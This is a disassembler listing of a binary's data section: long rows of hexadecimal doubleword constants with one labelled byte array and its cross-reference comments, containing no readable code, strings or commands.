		dd 204F9AE2h, 0A887F6ECh, 9FD86A73h, 2F910569h,	29A81F80h
		dd 159A00E4h, 79C512A3h, 12280158h, 0E83ACA7Fh,	0FC01A523h
		dd 65E341EEh, 847ECE4h,	7FA59A07h, 170EE09Fh, 912FC6F5h
		dd 0A8151539h, 0DB14A8BCh, 587B9031h, 9D24232Fh, 8A6B03D8h
		dd 310C932Eh, 517DA399h, 14070ADAh, 11BC9E1Fh, 0DDE5806Eh
		dd 99E72FD6h, 0FEE9C7DCh, 0D963720h, 0F50110B0h, 2B847D01h
		dd 0EA001C14h, 8D7F3980h, 5438A409h, 18CCA0AAh,	50F2FFA0h
		dd 0F031BC6Dh, 0A89DFD88h, 0ECA1C02Ah, 40304B19h, 188F9832h
		dd 0F160771Eh, 9D7DFC7Bh, 16E0EA98h, 0B9D8A014h, 33CB007Ch
		dd 0A5EAE773h, 716C6038h, 0DCEC41B5h, 0CD102F12h, 0D3130447h
		dd 9154177Bh, 380A80BCh, 0A88104C2h, 153ECA0h, 90C40F3Ah
		dd 91F38B16h, 95907258h, 72FDA05h, 0C32C483Fh, 0DDE1ED80h
		dd 3356BDh, 0D0285EB0h,	0EB19346Eh, 0A9340250h,	0F259B100h
		dd 0E50C52C1h, 1A340C65h, 0F3E0D48Dh, 5129DC06h, 510DA37h
		dd 282B7CE1h, 0EBC4012Dh, 0FAA6E5B0h, 0FE0FDC4Ch, 0E804734Dh
		dd 0F6BA58AEh, 0B6024D00h, 4608D9F0h, 970B0DF1h, 0F4B9CA9Fh
		dd 8B30A299h, 2B7B10A7h, 704560ACh, 8FCD6B1Ah, 7389B49h
		dd 11174F47h, 31C0296h,	8EE852DAh, 26B18DB6h, 0BB48309Ah
		dd 0E42988h, 0E16C037Fh, 274ABD1Eh, 80758D3Ch, 0EA74F5ECh
		dd 0E088FB15h, 11D091E3h, 0FCEF002Bh, 8407C4F6h, 0F30B781Fh
		dd 20A88FCh, 2A7531D8h,	9C448FABh, 0DB143002h, 6070EA3Eh
		dd 222A1A8Ch, 0B518AF05h, 7B591D13h, 4CAC92DCh,	4FC3F8A2h
		dd 599050CBh, 48004971h, 0D1A9409h, 282DBFFBh, 88909A37h
		dd 0C3B263A8h, 0D3579559h, 93C6DDB8h, 1E032702h, 6106CBBAh
		dd 8911815Ch, 68622Ah, 36DCE53Bh, 9BD11AF5h, 3E843F28h
		dd 62971406h, 72D120A7h, 5D75F43Eh, 22138800h, 0E19AC18Ah
		dd 3D8D4403h, 59845300h, 0AE817EA3h, 0A1550014h, 0C23FE44Bh
		dd 27F74679h, 870C38D8h, 9A47A9E2h, 8A084470h, 6932E4EBh
		dd 98187995h, 282806FDh, 3009FFE8h, 22934418h, 0E0CAEEE8h
		dd 40982F84h, 18389EB4h, 10ABAED8h, 460E044h, 0D9E7794Eh
		dd 88900CAFh, 4D01FCC0h, 9A7C3D79h, 198699AAh, 999F8EDAh
		dd 5AFC100h, 0A9C5A240h, 0C98707D8h, 0A039AAEDh, 0D51232DFh
		dd 0E4018270h, 8307DC7Ah, 5472E5C8h, 3D308FF2h,	0EB07090Eh
		dd 0FB0FD66Ah, 0F0DC4Ah, 27D876D2h, 84A0A7C8h, 2215FC7Ch
		dd 2983FAFh, 942D892Bh,	0DB08511Ch, 0ADB860B4h,	288A247Bh
		dd 0F90B4074h, 31022587h, 0DC2C032Bh, 0AA0C6937h, 64121872h
		dd 155040B1h, 34ADF4AFh, 92DCB804h, 9C922C48h, 0BF322099h
		dd 9524D01Eh, 5300150Ch, 3DB74ADh, 30D45D60h, 5844CA2Eh
		dd 0B4907BEAh, 187810D4h, 0B132D9EBh, 0E44B062h, 65E170ECh
		dd 26BE5A0Fh, 6404032Bh, 0B0032238h, 8120E0Ah, 0CEF82C16h
		dd 7D060B30h, 0AE64D403h, 5EE2C12Fh, 0BF890164h, 0F4AB04C6h
		dd 0F84A7B85h, 69D4D830h, 0CFA323E5h, 5D0E3411h, 2EA069CCh
		dd 57FBF698h, 61B46330h, 7EC26E79h, 2DB21C6Ah, 0A578C2E2h
		dd 944CA336h, 0A4328912h, 202F8822h, 74C10512h,	3ABA2500h
		dd 22167E68h, 9EA50071h, 0B0D426E7h, 1A1C3DCBh,	4170904Bh
		dd 2C966388h, 89849E6Dh, 2C9104AEh, 36FADC4Ah, 5DBE900h
		dd 0A41E06A3h, 4B300023h, 11252DECh, 48B36B8Bh,	89DDE20Bh
		dd 16448BE8h, 0DAE61FA8h, 117580DDh, 0CA5F78Eh,	0A67B1513h
		dd 28894801h, 502222B7h, 740ECB23h, 6714043Eh, 0CBC058B2h
		dd 0FFE93E6Ch, 62127303h, 2487A19Ah, 605889C9h,	0B64CA8B3h
		dd 73090498h, 0C2744834h, 11E41D88h, 462892Fh, 0E5303288h
		dd 6B0A472Ch, 0C31891Dh, 0C8D01307h, 5328A04Bh,	0A3F79C80h
		dd 9A2104B8h, 0D692012Ah, 7498D6CCh, 2C17B525h,	33BB1104h
		dd 7B08D375h, 0E1DAFFC1h, 135863DCh, 0F432A199h, 0CCE11229h
		dd 9D5110AEh, 0BB081CBFh, 0A750EC48h, 0A9006037h, 193A38B3h
		dd 9CE224F7h, 11E048A0h, 3E7880CFh, 94871404h, 70CF5850h
		dd 8B363E00h, 62468756h, 303F050Ch, 1986C20h, 0B5DBABD0h
		dd 781080Eh, 0D2F19706h, 888089CEh, 0BA490CDBh,	60654302h
		dd 61D1748Fh, 683CE544h, 8C90B8h, 0EB4584C5h, 189DFC80h
		dd 7506E707h, 2B00A7ECh, 0B882FDD7h, 54904FFCh,	9522AC50h
		dd 8F426A00h, 0D053723Dh, 0D86D25D7h, 14C5A8A9h, 0BA6090E4h
		dd 0EB047F80h, 0A2E830A5h, 0C01640A0h, 0DB7C8A71h, 6830202Fh
		dd 0DC109094h, 8098B1F6h, 0A730313Eh, 5C980351h, 0E04E0896h
		dd 7327B3D0h, 32760F85h, 7167D2D6h, 0DD35F063h,	0A73AFAA4h
		dd 28330994h, 82988F31h, 48ACFD2Ah, 3047CF28h, 0A8789AD0h
		dd 0A54F7438h, 0C070FC48h, 2FD8DDE7h, 0BD22F746h, 0DDDFEB01h
		dd 656A64F1h, 9C9B7E93h, 0CE0163BCh, 0B6E52BC8h, 0A9F83BB5h
		dd 0D81309E7h, 0B001CBECh, 700CA327h, 2894CE5Ch, 30525C64h
		dd 0E265FDB8h, 0EBE9231Fh, 4DCA8300h, 4B4CB90h,	6CD6ADAh
		dd 6B78F473h, 30577001h, 0E8E1B30Dh, 129AE464h,	0D38FDA4Ch
		dd 1FF12880h, 0BFEED498h, 4502748h, 74EBBD91h, 92F274E3h
		dd 36302C31h, 55500E7h,	8347AEEBh, 3D503443h, 2911DAC8h
		dd 0C50B306h, 92A8821h,	4029F9DFh, 3A1897D9h, 0C974B700h
		dd 0BBA834ABh, 1233EA4Fh, 0C0C79F10h, 0F5777A7Ch, 0A1792CB9h
		dd 46AC6019h, 0C069500h, 88EB08EDh, 2BA3165Dh, 280C468h
		dd 0A4D017D0h, 0CEA92C40h, 6A23F0Fh, 0C5384514h, 0B563FC06h
		dd 0FAF6E9h, 0D8AEBCB1h, 0EBD76E86h, 0DCE08101h, 0B0647BF2h
		dd 852C2980h, 0CDC1BB23h, 99A9080Fh, 0C08B3636h, 6AC03288h
		dd 28237E2h, 590819E9h,	6CD0FE0Ah, 89FACD10h, 0BDB0EF00h
		dd 6F5C08DBh, 0AE5EA81Fh, 53D10144h, 277B588Ah,	0B822CA29h
		dd 0E617F6h, 8E777913h,	0E521B44Fh, 0B0A2315Ah,	1B3B9F01h
		dd 0D081558Fh, 0AD0072D7h, 78903966h, 16B605h, 0E4BEA2CDh
		dd 4E5C31C4h, 65DA3A00h, 1567ADC7h, 91053AE8h, 0AF80F13Fh
		dd 0D66EBF0h, 0EE61F35Ch, 0F6BB4F10h, 0FE6E9BF0h, 491800DEh
		dd 424E761Ch, 6A7E5DDAh, 0ED827B02h, 0D4167872h, 19B137Dh
		dd 55E568D8h, 793A204Ah, 8F6CFE0Bh, 0EA94461Ah,	84E98019h
		dd 307948B1h, 0DBD73019h, 24283109h, 8148807Ch,	0B6E68FCh
		dd 15B5DC6Ch, 67B94C8h,	44882C12h, 0B8133002h, 0DB0CE95Ch
		dd 0CF64420h, 728EE6F2h, 4941CC28h, 5814C021h, 0C2F2F4B2h
		dd 0DE1330h, 0D3623421h, 30271CA7h, 81F84827h, 115BEC54h
		dd 0C2F29C32h, 0AB7530h, 0E8F5B481h, 903F6B95h,	0E0040B9h
		dd 0A9BDEFF1h, 2C030C42h, 8DD041ACh, 0C148A01Bh
		db 0F8h
byte_505345	db 0E0h, 3Ch, 50h	; DATA XREF: ___:off_444640o
					; ___:off_444648o ...
		dd 0B418DE4Ah, 0C4208739h, 14A240A8h, 0C0D0B4A0h, 0F19C1030h
		dd 0B8B6E5C7h, 82E0D6h,	0B8728535h, 8803E31Ch, 48A521C0h
		dd 831278h, 6A62ECFAh, 6140AC60h, 38505F90h, 0BD45FC4Ch
		dd 409EB068h, 0E66005CFh, 2B1378FAh, 7A0FC11Dh,	0FEEEA134h
		dd 2470E46Bh, 2FF60E49h, 5BEBEC52h, 68A06381h, 7DD881BAh
		dd 5A1FE82Bh, 0D0264478h, 3E79C068h, 8F461405h,	71D08872h
		dd 141C3E02h, 0ABCA8CB8h, 0E45CC594h, 5AF760BEh, 54CC3838h
		dd 0CA23ACCCh, 0FF3E7303h, 44804713h, 3E6BCA05h, 0D47C85C9h
		dd 58D88308h, 0B82CD94Eh, 90738831h, 2F499663h,	0F7480A3h
		dd 7CD3007Dh, 0F691096Bh, 1496A899h, 0C5318989h, 33A801D0h
		dd 2C9EC635h, 0E7A42E94h, 4E9CC83Bh, 0DB57843h,	1331041Ch
		dd 0F474070Bh, 7100BEB8h, 996A04EBh, 0E7AEDAh, 2996AF5Ah
		dd 6D069B2Bh, 3C40EC9Eh, 48C14180h, 8B007D85h, 572A21B3h
		dd 0C8EE68E3h, 52A9360Eh, 7BE900C7h, 0B0DCF6CBh, 1B80C8F0h
		dd 0AAB2A8Fh, 0B42E0810h, 0AD021BBEh, 29381C69h, 0BE316ABh
		dd 400236E8h, 700D2F4h,	98670F2Ch, 0D88B13ECh, 8438C4A8h
		dd 9C0E3D8h, 0C1F05C03h, 0DC428D94h, 244060CAh,	600381D4h
		dd 0D4B037F0h, 102DD46h, 304764Eh, 0BD0014E7h, 73A24DF9h
		dd 0E3AD1DAAh, 0D27492DBh, 8CC05758h, 0D100A3CBh, 702A7567h
		dd 0B077AFh, 0F4FF8251h, 7C40ABF5h, 0E42C410Ch,	708AA021h
		dd 0BDB2CE2h, 7A693068h, 7CBC106Dh, 9C30614Dh, 0D5048CF9h
		dd 0D7A3E669h, 5E203162h, 483F69CDh, 1210ECEAh,	0AD068427h
		dd 3865CF4Fh, 8E0B097h,	0F9070B9h, 2C18A481h, 0F007891h
		dd 8583DD84h, 0B8619B99h, 1501202Ch, 0D20468A0h, 91C80C8Ah
		dd 0AB4238C0h, 10A40C57h, 0F078A354h, 0DC7896h,	6880FD17h
		dd 0B5A11EDAh, 129A9F26h, 7A637132h, 0D0BA079Ch, 607B24AEh
		dd 0E7EC4D25h, 0AB108574h, 8A002373h, 59DC964h,	0CA09C84Bh
		dd 43C1E18h, 8B1A4B9h, 23344C96h, 0BA9DEA08h, 287CE080h
		dd 5CD0BC11h, 1507BE46h, 0A9658688h, 9E0D865Fh,	12B5F0B9h
		dd 0B47B4211h, 0E49429A0h, 80257288h, 0FD7F70A3h, 0AB1FDB38h
		dd 5B860F5h, 900B7C83h,	2808A4h, 76EDA807h, 49F01E9Fh
		dd 0C41C5600h, 0B5CBABF1h, 87D09412h, 0C007DB7Bh, 1B0854A5h
		dd 4315AEF0h, 71FC22A0h, 654BB4B6h, 62BAE4A4h, 54D195h
		dd 6B63FCB3h, 0EC1CD341h, 5C03BBBh, 414C17Bh, 0D21BE644h
		dd 81248478h, 5085031Ch, 57E23A90h, 0D3048FEEh,	65CEFE69h
		dd 5A0724B0h, 26849E5h,	0CE01D068h, 87839C00h, 77D61594h
		dd 13EE4FDh, 56AA220Ch,	417528BCh, 68E9F9D8h, 89132F84h
		dd 0C4D0C5BCh, 0B60D61BBh, 0F421747Ch, 0B42C2A3Dh, 99860330h
		dd 149DEEh, 11E8D977h, 8C99E55Bh, 98DC7525h, 0A6D27B0Ch
		dd 164B009Ch, 0BE6BD8E5h, 1000D04Fh, 289883C0h,	2507D423h
		dd 0D011EB8Ah, 3C48E817h, 0C88DE912h, 7E745E03h, 14800278h
		dd 0AEEE2C08h, 7BEAB860h, 22240B4Ch, 30CEF021h,	0F690DD01h
		dd 19C02473h, 0E086E22h, 53330266h, 110A5527h, 465C505Eh
		dd 716B02BBh, 0F2899D9Ah, 48310908h, 0B8017BACh, 0F6A0074Eh
		dd 19EF4C68h, 7A29B060h, 41C0402Fh, 0E854EAACh,	3BC0972Dh
		dd 280F0146h, 0A02C0413h, 993FCC38h, 2F7C225Ah,	5E9EE213h
		dd 4312BA54h, 0EEA4A080h, 4CA0A328h, 0ADCD896h,	84B46802h
		dd 0AC5408C8h, 46748824h, 2D5801A0h, 1C340406h,	0C139064h
		dd 988F7C7Bh, 0B600A329h, 276C4C64h, 13F312Bh, 0D5DC391Eh
		dd 3AA98704h, 0F89A6013h, 5F9BCCC0h, 0F1225EBh,	48C3B9D0h
		dd 0C4790097h, 0F593E2B4h, 521D8A4Eh, 3CC1383Fh, 8F56A5ECh
		dd 0E702B469h, 1C69689Bh, 36298C0h, 0B8AF7112h,	7A0760F3h
		dd 4A6A31Ah, 6CB093E0h,	2C054006h, 60F83994h, 20A55050h
		dd 1490A318h, 5C14FE90h, 9B09645h, 0E39A017h, 2CA4966h
		dd 5F8D1B8h, 0C88C26Bh,	0DF849C5Eh, 20A20787h, 3631A3F2h
		dd 2984D028h, 1234A9FCh, 0B42019B5h, 6998174Ch,	0F453C8B1h
		dd 90DBED70h, 3BB0F610h, 0F8D305FEh, 0AACFF617h, 0F2322200h
		dd 6B3F67h, 9B5885B2h, 0A7EBB348h, 85D3009h, 0D134D9FEh
		dd 10F18C0h, 0BB97D14Eh, 0C22A6CBCh, 144634E6h,	33934072h
		dd 0C304827h, 40701830h, 0C94A26BBh, 2A1FB082h,	0A7467484h
		dd 20430100h, 5EF962C6h, 9F24EF90h, 9E104C4Ch, 880BB512h
		dd 5C14049Ch, 2EF83FF0h, 4674C42Eh, 53AC0337h, 0C8D96B3Ah
		dd 0CF63CD8h, 99EBFF23h, 20192F70h, 4F08D50h, 1A3812C7h
		dd 88508BE5h, 0DB8CC18Eh, 0BCF6C40Ch, 0E00B6402h, 51430838h
		dd 80FB9124h, 0A3E869D7h, 80969DE7h, 69CF6000h,	590A6A5Ch
		dd 54CCB84Dh, 250C858h,	5D8A0FEBh, 2C607C5Bh, 42804198h
		dd 0FD38A922h, 6908D918h, 70F7A3EAh, 6900D162h,	7FC5F001h
		dd 2008A4B3h, 6D15A3B8h, 29946810h, 34D9681Ch, 6004F18h
		dd 0B729D5B0h, 4A9A0773h, 856841AAh, 4C5463h, 0DDB243Ah
		dd 0C9031833h, 88380B78h, 2A7CC12Fh, 7EBC2907h,	90184811h
		dd 80C0328h, 97A047A7h,	75C1A02h, 0CCDA74h, 60AF3334h
		dd 0C4EC182Bh, 0E172AA01h, 0C24CB0B3h, 2EEC6005h, 0C7E6696Eh
		dd 60294300h, 7B469AE1h, 0EC85B71Ch, 0A7448296h, 80C0320h
		dd 783A4CE8h, 202A0512h, 35A01318h, 716849Ah, 405F462Ch
		dd 41339E0Ch, 4AD90BD7h, 0BCC5E5DEh, 8C608FC4h,	0B4CB657h
		dd 5437C278h, 0D970F18Fh, 9718C3h, 18405938h, 54F262E7h
		dd 7B839A17h, 96C854CBh, 0F44201C0h, 9C8D0097h,	77F164CEh
		dd 944F47D0h, 4DF5C4C8h, 0D4ED9021h, 4703A523h,	4AA41B1h
		dd 0D8813D83h, 806C699Dh, 0BE3F81Dh, 2927DCF7h,	0D6981609h
		dd 4494C808h, 72E67600h, 350CAF7Fh, 0CC38EDE5h,	80A00325h
		dd 0C8F9F5ABh, 6D2D0700h, 303E6EFCh, 12313AAh, 16D882B2h
		dd 5B9054h, 27DBAA70h, 0BCADAC6Dh, 0FFD5E403h, 0E0544766h
		dd 0C0508A0Ah, 44031B39h, 88B94E10h, 0D017D760h, 13A4A1ABh
		dd 41727070h, 806C43B2h, 70300A4h, 0FC7B8Ch, 67AF3478h
		dd 38A3E10Fh, 1498BC24h, 70A50414h, 0F588A09Fh,	6394A813h
		dd 0AB6240ACh, 0FED07102h, 710779E2h, 0E44207DCh, 143B904Ch
		dd 0C9014DEEh, 8EE5D413h, 0AAECF1D5h, 0F010017Fh, 0DB084BA5h
		dd 80707C7Ah, 1D6F52F3h, 0A32C0017h, 0C047405Ch, 4901D001h
		dd 9D13EF3Ch, 5C3E6473h, 15D4C0D8h, 0A20BBBBCh,	12DE940Ch
		dd 0EC348CD9h, 0CD2209A3h, 0ECD0067Ch, 39B76332h, 4644C10Eh
		dd 18789C8h, 0FDAE243Eh, 0CC93AFD7h, 8B1531B0h,	0AC8404h
		dd 6AE17013h, 12BBCFF4h, 423062C7h, 72EC063Ch, 9644D447h
		dd 0D3602E67h, 0A2A57D38h, 0A45C4276h, 1884598Ch, 0EC1016EAh
		dd 19EB803Bh, 82D4302Dh, 548406E4h, 0A7E74088h,	99007027h
		dd 0A1EF4508h, 1DE66D66h, 814BBFE9h, 376C3C31h,	36093DBh
		dd 0E17B84C0h, 52E97260h, 0A900C062h, 81FF419Dh, 400179E8h
		dd 0D45CC3FAh, 0E870E9BCh, 0BC179D77h, 0C381A391h, 2F54B5D4h
		dd 0B8F54312h, 0F0FCF8h, 0B7349D23h, 0CB086E66h, 4659E013h
		dd 11423702h, 3BE45A74h, 2D00C622h, 2E706715h, 543DF917h
		dd 79528178h, 61648059h, 2F5B6C28h, 0BF2374h, 38AA73A9h
		dd 1502F93Ch, 0DFB29F77h, 7445A02h, 737827D7h, 0AE927712h
		dd 0BC40A809h, 4818102Fh, 2C1986A3h, 402184BBh,	0E1181F8Eh
		dd 127BE408h, 0F0B437E1h
		dd 27AFA051h, 5CC96E5Ah, 47721430h, 0C42E92B2h,	0EB009523h
		dd 0ED0F63B6h, 0B7A92408h, 535E0208h, 6C40CC72h, 0D75ADC78h
		dd 0DA7B6823h, 80A47C3Ch, 14639BDAh, 0CA003A18h, 0F3D6EC05h
		dd 0F92DBEFCh, 0E000443Dh, 1D708154h, 8F26696Bh, 2D003547h
		dd 0DE11731Ah, 0F6CD0550h, 0DA9035DFh, 0C03288A8h, 94807CF6h
		dd 0CC40C8B6h, 0ECBA3Ah, 0A9602137h, 0D4A8D399h, 83E61B09h
		dd 4F441816h, 11620366h, 86ADBA9Bh, 248418C0h, 39B94607h
		dd 0E1105BEh, 182C7FDFh, 8CC3BCh, 0ADFCBE0Ch, 148F5AD0h
		dd 7439A116h, 0E76B8490h, 244507B3h, 0B2EA7DA8h, 64031E1h
		dd 0EC2F0843h, 6534A002h, 7F04750h, 7AF77C03h, 2D0D0090h
		dd 1827326Fh, 75A46074h, 4D280873h, 9C00DEC4h, 0D5768864h
		dd 3E90917Ch, 374BDD02h, 3C40A7C4h, 4F0015FEh, 9D4A0C94h
		dd 812843h, 95C9CB69h, 0A1541744h, 802728CFh, 61A7D7Ch
		dd 7452069Ch, 1897A3C0h, 4323300Bh, 0E0388299h,	0BF2F018Eh
		dd 5531DC35h, 0AB669E00h, 4C4B9BF0h, 769C00BCh,	7A1A2773h
		dd 0D6550FB6h, 0F938C988h, 0B740A8B8h, 0E0F9E600h, 4EF4A4AFh
		dd 1CF80017h, 5DADAE0Fh, 1E0019D2h, 0DB01385h, 0F15853h
		dd 8780F5BCh, 0A56193AEh, 1EB93D3Ah, 0E08515C6h, 1C80C885h
		dd 0D8905CD2h, 280A6010h, 6C2E5B00h, 4DD8E85Ah,	19EC01FDh
		dd 75DF2BE4h, 0DB2986DDh, 0F090E7FEh, 0A63D005Dh, 61F34668h
		dd 8B0FEB9Ch, 0A65B7423h, 19568Eh, 0DDFBBA94h, 0E36BDF2Ch
		dd 465949CEh, 5CA8E06Ch, 6400D065h, 502BC2Fh, 0F0036823h
		dd 2E6D5B33h, 148766Fh,	59A8168Ah, 81D6D4F1h, 4E72AF38h
		dd 0A8801361h, 0D9F74002h, 0CC61C5D0h, 0DC11A020h, 0F4A7180h
		dd 0F42859A5h, 3B466200h, 1423384Dh, 706D06F6h,	4805B95Eh
		dd 0FB652C0Eh, 804F0E5Ch, 0FCD408DBh, 0EB8F006Bh, 0E3243B9Fh
		dd 30003DB8h, 1D9E894Eh, 635487FAh, 512B11C2h, 0E53930E4h
		dd 0D04122B5h, 0B3FA3A0Ch, 0AF44130h, 0F56AADE1h, 46186104h
		dd 710810Fh, 0D61CBDAEh, 7BC100D2h, 6701292Dh, 5EF08E82h
		dd 0F2D18BFAh, 0E3144180h, 5341A2Eh, 16517660h,	0ABFEA26h
		dd 8A104A0Bh, 8EC500EEh, 62FF4D4h, 0A0296E6Fh, 0F394952Ah
		dd 0BAB60CA0h, 7E0830EBh, 0A2ACA9C1h, 3F308195h, 0BC73005Dh
		dd 0CB8037A4h, 77009A94h, 0E4B51E7Bh, 0A69BDCCh, 0EA1104ADh
		dd 67873E6Ch, 8184A479h, 80B38AA2h, 0B1C84D19h,	0CE524FFh
		dd 0AD2DD650h, 69614108h, 0B1C04E20h, 632CCCh, 7F3F39C4h
		dd 60F1CAC9h, 16596503h, 0FDF7E7Ah, 536D9969h, 61A587A6h
		dd 5D230F00h, 0D515EE36h, 7A1414E9h, 92001870h,	0E8B82B98h
		dd 0E9C07D04h, 30D148Ch, 0A3C60051h, 0D85E9211h, 0C900A27Bh
		dd 79FBC1A6h, 146E3967h, 0A40F756Bh, 2D012423h,	28F37B95h
		dd 898B8218h, 51D895A1h, 9346055Eh, 215565CAh, 0C329A688h
		dd 0B9409886h, 0F959C077h, 0E08C607Ah, 63D34D00h, 5837B68h
		dd 857300CBh, 14BA20DEh, 7C307ADCh, 8D37E1E2h, 1F0906EDh
		dd 194DEFA7h, 21DE1830h, 98A11606h, 5B58957Eh, 900A07E2h
		dd 0E0159B77h, 8178B0B9h, 0CC4484h, 557718D6h, 698945FFh
		dd 1BD5530Ch, 30F051A5h, 0CA316D39h, 81C12DA1h,	8AEFA6ECh
		dd 0DBA09B13h, 7892F14Fh, 73385501h, 5A267BC5h,	0CC16C920h
		dd 3321E908h, 0BA733000h, 0D0BED372h, 4EAB199Bh, 100DA8AEh
		dd 93A56A83h, 0B1C1012Ch, 18AD2538h, 0B7ED8854h, 0B0C2B100h
		dd 61669010h, 0A41B48A1h, 8B825783h, 0C1242B90h, 0F7AA9600h
		dd 0AEC30CB9h, 2D1B30B0h, 0F8A70129h, 0C2A9F263h, 0EFF6C1CDh
		dd 0E68011BBh, 0FEFC93BAh, 0F3096432h, 2ABD38F0h, 31111C04h
		dd 96952C80h, 448C30F3h, 0A401AA85h, 535DDA95h,	0D060324Ah
		dd 27910023h, 7213781Bh, 0A65454FAh, 790E8D80h,	0EF988BCAh
		dd 6B0423B3h, 534815F0h, 2300C461h, 0F9134BE0h,	0CC00A919h
		dd 266276B5h, 0A7D1B0Ah, 97CE98DBh, 0ABD12E0h, 64E07820h
		dd 733A60DDh, 167B21C3h, 733235C0h, 9D330043h, 4112EF0Fh
		dd 0FD81CBAFh, 48CA00Ch, 252DB1C2h, 0A963B5h, 0B1BCEC21h
		dd 6F782928h, 58AE891h,	3864B0F7h, 97952960h, 0CC88F321h
		dd 7800956Eh, 75A251E6h, 30D2363Ch, 0EC217C05h,	39002050h
		dd 16D53568h, 0D747EBh,	0A2270D9Ah, 8D71DAC3h, 7C782F04h
		dd 0E0C8B2FCh, 96028CBAh, 0FA67282Dh, 10F8198Bh, 12EDE21h
		dd 8CD2EDFCh, 4CB59B83h, 48C2C90h, 2501B1C6h, 209CCED5h
		dd 4CE8F8h, 80D7F12Ah, 0B65193D2h, 0DDC7F400h, 8DFD4ED3h
		dd 0BCF61298h, 841C237Dh, 57CBCDD8h, 9BE86404h,	0D88E6C5Ah
		dd 30E26284h, 7BB165A4h, 0A1FE240Bh, 0E0160820h, 12445428h
		dd 0EEED37A6h, 5F62C559h, 1F900294h, 6C423F18h,	0E811389Dh
		dd 0DE20488Eh, 97379C7Fh, 49EF8B15h, 48C7128h, 7BC6732Dh
		dd 4C00642Eh, 0FF732536h, 0B9F30035h, 920DB7A2h, 0F0541BBAh
		dd 0C6FAA6DCh, 17D2C200h, 59E4309Dh, 77F62Fh, 0CADF6067h
		dd 8507D25h, 0F2790891h, 142CDC18h, 0A64CC405h,	0CF940054h
		dd 21CC0839h, 0CB00BAEAh, 0AAC4B67Eh, 1E2502F1h, 4B396BA7h
		dd 5017D5A0h, 85808791h, 3141F671h, 0F55E1C03h,	232A8C5Fh
		dd 9401BCC0h, 0EA672E2Dh, 1F88E518h, 22AFEDCh, 9A8F6C55h
		dd 0BCB0E8E2h, 0C80872FBh, 6459FE7Bh, 333C40EDh, 1E573h
		dd 923EBC89h, 9E667C67h, 24DCE229h, 0C4733705h,	0E06241C4h
		dd 2F3021F4h, 0DE7EDC73h, 3528012Eh, 54437700h,	60EAA702h
		dd 588F29F0h, 0A200166Dh, 93C5675Dh, 0C87BD09Fh, 0FCC1E7B8h
		dd 6F5C972h, 0AC223849h, 73342F01h, 53E91B92h, 0B5EFC884h
		dd 0CB3381D7h, 15742365h, 3CC7104h, 5F4D51CEh, 0A6FFF89Bh
		dd 71FC61EAh, 85AC70FAh, 8ECB8D31h, 42CC8414h, 30EBF2A8h
		dd 3F4CC274h, 0E52206B7h, 21486FD0h, 180527Eh, 0E7BCA73h
		dd 80CCA55Ah, 2B733932h, 0DF5C478Ch, 0D16B3200h, 26B4458Dh
		dd 3100D6F4h, 1BF8D212h, 12B90C35h, 935665CCh, 0BFE8B424h
		dd 6098CE88h, 502DF02Eh, 0FE5343h, 9F97D349h, 4F772E1Dh
		dd 6C4C4101h, 37D4EF91h, 9E229462h, 9440044Ah, 6493B1F4h
		dd 0D788007Fh, 36EADC59h, 9E4C3BB7h, 8CEDBC18h,	0B046803h
		dd 0B3140E6Eh, 18A3E439h, 4F3085E2h, 0C4740001h, 8DF66C56h
		dd 21C07F05h, 3BA9A0B5h, 0F0B700C2h, 0EBD91CC6h, 0AF01F9E0h
		dd 0A03DE688h, 0FC639497h, 2FCFA301h, 0CC85C295h, 0D000D6B5h
		dd 6DCEEB5Ch, 9602D9Bh,	9ACA2CC8h, 390094B7h, 5F1748CEh
		dd 92C104CBh, 40DE1CCAh, 0E4DFB52Fh, 0CD7F1DFFh, 72118022h
		dd 4676F12Bh, 945D9329h, 0CC0758A2h, 1D9B9C22h,	246876C0h
		dd 576B006Dh, 0DD537152h, 18122BF2h, 382F9E2Eh,	0EF00EE23h
		dd 0A8FA9FB8h, 7DB0041Fh, 41DF7279h, 0F7538E92h, 42573182h
		dd 0D080F130h, 76B75582h, 8B71CC00h, 8CA8D9Ah, 0A5610556h
		dd 910F73D3h, 567E268h,	55C850CBh, 0D9A658C0h, 0AEF001F3h
		dd 39A9FF67h, 7C61BBA4h, 9C7CDE49h, 0F9577D00h,	44B8BE4h
		dd 4FB4919h, 6334906Ch,	3C99C0B7h, 8C2A0A00h, 0ADA90D9h
		dd 73615CF8h, 30239EBCh, 4C19CF51h, 987FB20Eh, 5D44818Bh
		dd 298070C1h, 37C62CA5h, 0E8ED7D7Eh, 0D405FC3Ch, 66F3F564h
		dd 9781E434h, 0AFD1AE5Ch, 24EF8AF8h, 9C477F3h, 70C506BAh
		dd 0C363E5C4h, 93C1DD80h, 2B43F496h, 0AF4BC8B5h, 95F00E2h
		dd 0B173C955h, 0F0F43023h
		dd 0CCCDE700h, 93C36D84h, 393260F1h, 0A2795FADh, 0F3B30513h
		dd 442C88Eh, 6FF7B0FFh,	78CD589Eh, 0CC15C00h, 0F30F81E9h
		dd 0D261DEF8h, 0C239A318h, 0FBBE00D2h, 9500C59Ah, 1D85EA14h
		dd 188EF3F9h, 59E87879h, 3E69801h, 75AA5700h, 0EB8D1672h
		dd 88B500F0h, 0DE0938C6h, 89C0FB4Fh, 28E2E73Fh,	0A2420964h
		dd 0B10014B0h, 0B7012A26h, 0C7572000h, 9B7E720Eh, 78836075h
		dd 621CEF90h, 780CF490h, 189EC16Bh, 7B3B06B6h, 1094E153h
		dd 64EE240Ch, 167E2835h, 40AB04DCh, 0DAC2796Ch,	0BF7CF6E7h
		dd 0B866E9C2h, 0D57CA0EDh, 13902D80h, 4037C96Bh, 3465558Ch
		dd 0A1C6A84h, 6019B6D9h, 78F82761h, 1C76076Fh, 318DFAEh
		dd 5DAB9C73h, 0B08049EAh, 82643B61h, 43BC0F50h,	77F0D340h
		dd 43C8AA32h, 4A9CF15Fh, 2A399085h, 53BC05E8h, 151C9004h
		dd 0A3030237h, 0E5D96E65h, 0AF4DD059h, 0B7DD0007h, 53D0E764h
		dd 8B005584h, 0BB4F462Bh, 5A99813h, 0A78E01C9h,	175BC0B3h
		dd 907C68EEh, 0E71881F1h, 5F46F174h, 1020BCE2h,	7246E08h
		dd 0EBF148Bh, 0A0825443h, 31E504Bh, 0C811CD86h,	0B2E18C1Ah
		dd 7B52FC3Ch, 0EB3A4700h, 640A1402h, 980E43C2h,	41EAFA81h
		dd 9314082Ah, 3005BE98h, 0DFA2059h, 4DAD16C0h, 5AB8CFh
		dd 0F7118ECAh, 0BE10C38Bh, 3384190Ah, 84C3491h,	0B380A84Eh
